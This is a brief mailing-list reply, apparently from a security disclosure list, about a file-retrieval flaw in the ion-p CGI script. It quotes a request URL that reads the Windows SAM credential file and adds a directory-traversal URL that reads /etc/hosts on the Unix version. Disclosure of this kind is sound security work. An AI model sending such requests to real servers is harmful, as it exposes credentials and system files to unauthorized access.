Re: ion-p.exe allows Remote File Retrieving

[Stuart Moore <smoore.bugtraq () securityglobal net>]

Hi,

> ion-p.exe allows Remote File Retrieving
>
> www.Server.com/cgi-bin/ion-p.exe?page=c:\winnt\repair\sam

The 'ion-p' *NIX version is also vulnerable.  Directory traversal chars can be used, too:

/cgi-bin/ion-p?page=../../../../../etc/hosts 


Bye,

Stuart


-- 
Stuart Moore
SecurityTracker.com
SecurityGlobal.net LLC